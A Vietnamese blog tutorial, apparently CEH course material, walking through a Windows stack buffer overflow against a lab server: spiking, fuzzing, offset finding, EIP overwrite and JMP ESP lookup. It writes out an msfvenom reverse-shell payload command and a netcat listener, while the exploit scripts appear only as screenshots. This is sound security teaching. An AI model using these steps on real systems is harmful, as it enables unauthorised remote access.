SinhVienCNTT.Net
Thứ Sáu, Tháng 4 24, 2026
  • Login
No Result
View All Result
  • Trang chủ
  • Bài viết nổi bật
  • Security
    • Kỹ thuật phân tích mã độc
    • CEH v13
  • Các môn học đại học
    • Các môn đại cương
      • Nhập môn mạng máy tính
      • Nhập môn lập trình
      • Hệ điều hành
    • Ngành An toàn thông tin
      • Lập trình hệ thống
    • Ngành Mạng máy tính & Truyền thông dữ liệu
  • Tài liệu CNTT
  • Liên hệ
Gửi email
  • Trang chủ
  • Bài viết nổi bật
  • Security
    • Kỹ thuật phân tích mã độc
    • CEH v13
  • Các môn học đại học
    • Các môn đại cương
      • Nhập môn mạng máy tính
      • Nhập môn lập trình
      • Hệ điều hành
    • Ngành An toàn thông tin
      • Lập trình hệ thống
    • Ngành Mạng máy tính & Truyền thông dữ liệu
  • Tài liệu CNTT
  • Liên hệ
No Result
View All Result
SinhVienCNTT.Net
No Result
View All Result
Home Security CEH Tiếng Việt - CEH v13

[CEH] Module 6 – Phần 4: Khai thác Buffer Overflow trên Windows

admin by admin
29 Tháng 4, 2025
in CEH Tiếng Việt - CEH v13
Reading Time: 7 mins read
1

Khai thác lỗ hổng tràn bộ đệm Buffer Overflow trên Windows

  1. Spiking: Đưa vào chương trình một số input để kiểm tra xem chương trình có bị tắt hoặc hoạt động không đúng như mong đợi không. Mục đích là tìm ra các lỗ hổng tiềm năng.
  2. Fuzzing: Đưa vào chương trình các input ngẫu nhiên hoặc bán ngẫu nhiên để xác định input nào gây ra lỗi hoặc làm chương trình hoạt động không đúng. Mục đích là tìm ra input cụ thể để khai thác lỗ hổng tràn bộ đệm.
  3. Xác định offset: Tìm ra số byte cần để ghi đè lên biến mục tiêu. Điều này bao gồm gửi một chuỗi ký tự đặc biệt đến chương trình để tìm ra chiều dài chuỗi ký tự gây ra lỗi, từ đó xác định được số byte cần để tràn bộ đệm.
  4. Ghi đè thanh ghi EIP: Thay đổi giá trị của thanh ghi EIP để chương trình thực thi mã độc.
  5. Xác định ký tự không hợp lệ: Tìm ra các ký tự có thể làm gián đoạn quá trình thực thi mã độc.
  6. Xác định module: Đảm bảo module đúng được tải vào bộ nhớ để mã độc thực thi đúng.
  7. Tạo shellcode: Tạo ra mã độc thực tế sẽ được thực thi sau khi khai thác thành công.
  8. Gain root access: Sử dụng mã độc để truy cập từ xa vào hệ thống hoặc nâng cao đặc quyền truy cập để đạt được quyền truy cập cao hơn.

Bước 1: Thiết lập kết nối bằng Netcat

, ta có thể sử dụng lệnh Netcat như sau:

nc -nv <Target IP> <Target Port>
[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 1
Kết quả lệnh netcat

Bước 2: Tạo các spike template và thực hiện spiking

Các mẫu spike templates định nghĩa định dạng gói tin được sử dụng để giao tiếp với server. Sử dụng mẫu spike sau để thực hiện spiking trên chức năng STATS:

Buffer Overflow trên Windows
Screenshot showing STATS spike template

Gửi các gói tin đến máy đích bằng cách sử dụng lệnh sau:

generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTR

Như hình bên dưới:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 4
Screenshot showing the output of spiking vulnerable server

Vì chúng ta đã xác định được rằng chức năng STATS không dễ bị tấn công bởi lỗi tràn bộ đệm, vì vậy chúng ta sẽ lặp lại quá trình tương tự với chức năng TRUN. Sử dụng mẫu spike sau để thực hiện spiking trên chức năng TRUN:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 6
Screenshot showing TRUN spike template

Bây giờ, gửi các gói tin đến máy đích bằng cách sử dụng lệnh sau:

generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTR
[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 8
Screenshot showing the output of spiking vulnerable server

Chúng ta có thể thấy rằng chức năng TRUN trên server có một lỗ hổng tràn bộ đệm. Khi thực hiện spiking trên chức năng này, các thanh ghi trên ngăn xếp như EAX, ESP, EBP và EIP có thể bị ghi đè. Nếu hacker có thể ghi đè thanh ghi EIP, họ có thể chiếm quyền truy cập vào hệ thống.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 10
Screenshot of Immunity Debugger showing buffer overflow vulnerability

Bước 3: Perform Fuzzing

Sau khi xác định được lỗ hổng tràn bộ đệm buffer overflow trên Windows, ta cần thực hiện fuzzing để gửi một lượng lớn dữ liệu đến máy đích để gây ra lỗi tràn bộ đệm và ghi đè thanh ghi EIP. Fuzzing giúp xác định số byte cần thiết để làm cho máy đích bị sập. Thông tin này giúp xác định vị trí chính xác của thanh ghi EIP, từ đó giúp inject mã độc shellcode vào máy đích.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 12
Screenshot showing Python script for fuzzing

Khi chạy đoạn code trên, biến buff sẽ được nhân lên mỗi lần lặp trong vòng lặp while và gửi dữ liệu buff đến máy đích. Như hình bên dưới, máy đích sập sau khi nhận khoảng 2300 bytes dữ liệu, nhưng nó không ghi đè lên thanh ghi EIP.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 14
Screenshot showing the output of fuzzing vulnerable server
[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 16
Kết quả

Bước 4: Identify the Offset

Thông qua quá trình fuzzing, chúng ta đã hiểu được rằng chúng ta có thể ghi đè lên thanh ghi EIP bằng từ 1 đến 2300 byte dữ liệu. Bây giờ, chúng ta sẽ sử dụng công cụ pattern_create trong Ruby để tạo ra các byte dữ liệu ngẫu nhiên như sau:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -1 3000
[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 18
Screenshot showing Metasploit pattern_create output

Sau đó, ta chạy đoạn mã Python sau để gửi:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 20
Screenshot of Python script sending random bytes to the server

Khi đoạn code trên được thực thi, các byte dữ liệu ngẫu nhiên sẽ được gửi đến máy đích và gây ra lỗi tràn bộ đệm trên ngăn xếp. Ta cần ghi lại các byte dữ liệu ngẫu nhiên trong EIP và tìm vị trí của các byte đó trên ngăn xếp để tiếp tục thực hiện các bước tấn công tiếp theo.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 22
Screenshot of Immunity Debugger showing vulnerable server after the buffer overflow

Chạy lệnh sau để tìm vị trí chính xác của các byte dữ liệu ngẫu nhiên trong thanh ghi EIP:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -1 3000 -q 386F4337
[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 24
Screenshot showing Metasploit pattern_offset output

Bước 5: Ghi đè thanh ghi EIP

Ta đã xác định được rằng thanh ghi EIP nằm ở một vị trí lệch đi 2003 byte. Bây giờ, chạy đoạn code Python sau để kiểm tra xem có thể kiểm soát thanh ghi EIP hay không.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 26
Screenshot of Python script injecting shellcode in the EIP register

Kết quả cho thấy EIP có thể ghi đè:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 28
Screenshot of Immunity Debugger showing EIP register

Bước 6: Identify Bad Character

Trước khi inject shellcode vào thanh ghi EIP, ta cần xác định các ký tự không hợp lệ có thể gây ra vấn đề trong shellcode. Các ký tự như ký tự ‘no byte‘, tức là “\x00“, là các ký tự không hợp lệ.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 30
Badchars

Tiếp theo, chạy đoạn code:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 32
Screenshot of Python script for sending badchars

Trong Immunity Debugger, nhấp chuột phải vào giá trị thanh ghi ESP, sau đó nhấp vào “Follow in Dump“, và cuối cùng quan sát các ký tự. Ta sẽ thấy rằng không có ký tự không hợp lệ nào gây ra vấn đề trong shellcode.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 34
Screenshot of Immunity Debugger showing ESP dump

Bước 7: Identify the Right Module

Trong bước này, chúng ta cần xác định module nào trên máy đích đang thiếu memory protection. Ta có thể sử dụng một công cụ gọi là mona.py. Ta download về và sao chép vào thư mục PyCommands trong thư mục của Immunity Debugger. Sau đó, ta chạy máy có lỗ hổng và Immunity Debugger với quyền quản trị, và kết nối máy đó với Immunity Debugger. Tiếp theo, trong Immunity Debugger,nhập lệnh “!mona modules” vào thanh địa chỉ dưới cùng của cửa sổ.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 36
Screenshot of Immunity Debugger showing mona modules

Chúng ta thấy rằng module essfunc.dll thiếu bảo vệ bộ nhớ. Hacker có thể lợi dụng những module như vậy để chèn shellcode và chiếm quyền điều khiển thanh ghi EIP. Để tiếp tục tấn công, ta cần chuyển đổi ngôn ngữ assembly (JMP ESP) thành mã hex bằng cách chạy một đoạn mã Ruby nasm_shell.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

Kết quả như sau:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 38
Screenshot showing Metasploit nasm_shell output

Tiếp theo, trong Immunity Debugger, nhập lệnh sau vào thanh địa chỉ ở dưới cùng để xác định địa chỉ trả về của module có lỗ hổng:

!mona find -s "\xff\xe4" -m essfunc.dll
[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 40
Kết quả giá trị địa chỉ trả về

Bây giờ, để inject địa chỉ trả về đã xác định vào thanh ghi EIP, ta cần chạy đoạn mã sau. Ví dụ, nếu địa chỉ trả về là “625011af“, thì bạn phải gửi “\xaf \x11\x50\x62“, vì kiến trúc x86 lưu trữ các giá trị theo định dạng Little Endian.

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 42
Screenshot of Python script for overwriting EIP

Ta sẽ nhận thấy rằng thanh ghi EIP đã bị ghi đè bằng địa chỉ trả về của module có lỗ hổng:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 44
Screenshot of Immunity Debugger showing EIP register

Hacker có thể kiểm soát thanh ghi EIP nếu máy mục tiêu có các module không có các thiết lập bảo vệ bộ nhớ thích hợp.

Bước 8: Generate Shellcode and Gain Shell Access

Bây giờ, ta chạy lệnh msfvenom để tạo shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP address> LPORT=<port> EXITFUNC=thread -f c -a x86 -b "\x00"

Kết quả như sau:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 46
Screenshot showing the output of msfvenom

Bây giờ, chúng ta cần chạy đoạn mã Python sau:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 48
Screenshot of Python script for overwriting EIP

Trước khi chạy đoạn code trên, ta cần chạy lệnh Netcat sau để listen trên port 4444:

nc -nvlp 4444

Sau đó:

[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 50
Screenshot showing remote access to Admin account

Vậy là ta đã khai thác buffer overflow trên Windows.

Share84Tweet52
Previous Post

[CEH] Module 6 – Phần 3: Các bước khai thác lỗ hổng và lỗi Buffer Overflow

Next Post

[CEH] Module 6 – Phần 5: Leo thang đặc quyền

admin

admin

A Winner Never Stops Trying.

Related Posts

CEH Module 11 – Phần 2: Application-Level Session Hijacking
CEH Tiếng Việt - CEH v13

CEH Module 11 – Phần 2: Application-Level Session Hijacking

4 Tháng 5, 2025
[CEH] Module 11 – Phần 1: Session Hijacking là gì?
CEH Tiếng Việt - CEH v13

[CEH] Module 11 – Phần 1: Session Hijacking là gì?

29 Tháng 4, 2025
[CEH] Module 10 – Phần 5: Thực hành DoS sử dụng Metasploit và Hping3
CEH Tiếng Việt - CEH v13

[CEH] Module 10 – Phần 5: Thực hành DoS sử dụng Metasploit và Hping3

29 Tháng 4, 2025
[CEH] Module 10 – Phần 4: Các giải pháp chống lại DDoS
CEH Tiếng Việt - CEH v13

[CEH] Module 10 – Phần 4: Các giải pháp chống lại DDoS

29 Tháng 4, 2025
[CEH] Module 10 – Phần 3: Một số kiểu tấn công từ chối dịch vụ (tiếp theo)
CEH Tiếng Việt - CEH v13

[CEH] Module 10 – Phần 3: Một số kiểu tấn công từ chối dịch vụ (tiếp theo)

29 Tháng 4, 2025
[CEH] Module 10 – Phần 2: Một số kiểu tấn công từ chối dịch vụ DoS/DDoS
CEH Tiếng Việt - CEH v13

[CEH] Module 10 – Phần 2: Một số kiểu tấn công từ chối dịch vụ DoS/DDoS

22 Tháng 9, 2024
Next Post
[CEH] Module 6 – Phần 5: Leo thang đặc quyền

[CEH] Module 6 - Phần 5: Leo thang đặc quyền

Comments 1

  1. Pingback: Tổng hợp Series: CEH v13 - CEH Tiếng Việt

Để lại một bình luận Hủy

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Tất cả chuyên mục

  • Các môn học đại học
  • CCNA 200-301
  • CEH Tiếng Việt – CEH v13
  • Chưa phân loại
  • Digital Forensics
  • Machine Learning
  • Network
  • Nổi bật
  • Phân tích mã độc
  • Security
  • Tài liệu CNTT
  • Từ vựng IELTS

Thẻ

API AWS Bash Shell C++ Cisco ASA Cisco Packet Tracer Collocations Footprinting Giao thức Machine Learning Mạng máy tính nmap Quản lý rủi ro Regular Expression TCP/IP Tuyển chọn UIT Wireshark

logo sinhviencntt.net

Blog Sinh viên CNTT chia sẻ kiến thức, tài liệu liên quan đến nhóm ngành Công nghệ thông tin.

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến SinhVienCNTT.Net.

Giới thiệu

Blog Sinh viên CNTT chia sẻ kiến thức, tài liệu liên quan đến nhóm ngành Công nghệ thông tin.

Liên hệ

Email: sinhviencntt.net@gmail.com

Tìm kiếm

No Result
View All Result

Danh mục

  • Các môn học đại học
  • CCNA 200-301
  • CEH Tiếng Việt – CEH v13
  • Chưa phân loại
  • Digital Forensics
  • Machine Learning
  • Network
  • Nổi bật
  • Phân tích mã độc
  • Security
  • Tài liệu CNTT
  • Từ vựng IELTS
  • Home
  • Liên hệ
  • Privacy & Policy
  • Other Links

© 2023 SinhVienCNTT.Net - Blog Sinh viên Công nghệ thông tin.

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In
No Result
View All Result
  • Trang chủ
  • Bài viết nổi bật
  • Security
    • Kỹ thuật phân tích mã độc
    • CEH v13
  • Các môn học đại học
    • Các môn đại cương
      • Nhập môn mạng máy tính
      • Nhập môn lập trình
      • Hệ điều hành
    • Ngành An toàn thông tin
      • Lập trình hệ thống
    • Ngành Mạng máy tính & Truyền thông dữ liệu
  • Tài liệu CNTT
  • Liên hệ

© 2023 SinhVienCNTT.Net - Blog Sinh viên Công nghệ thông tin.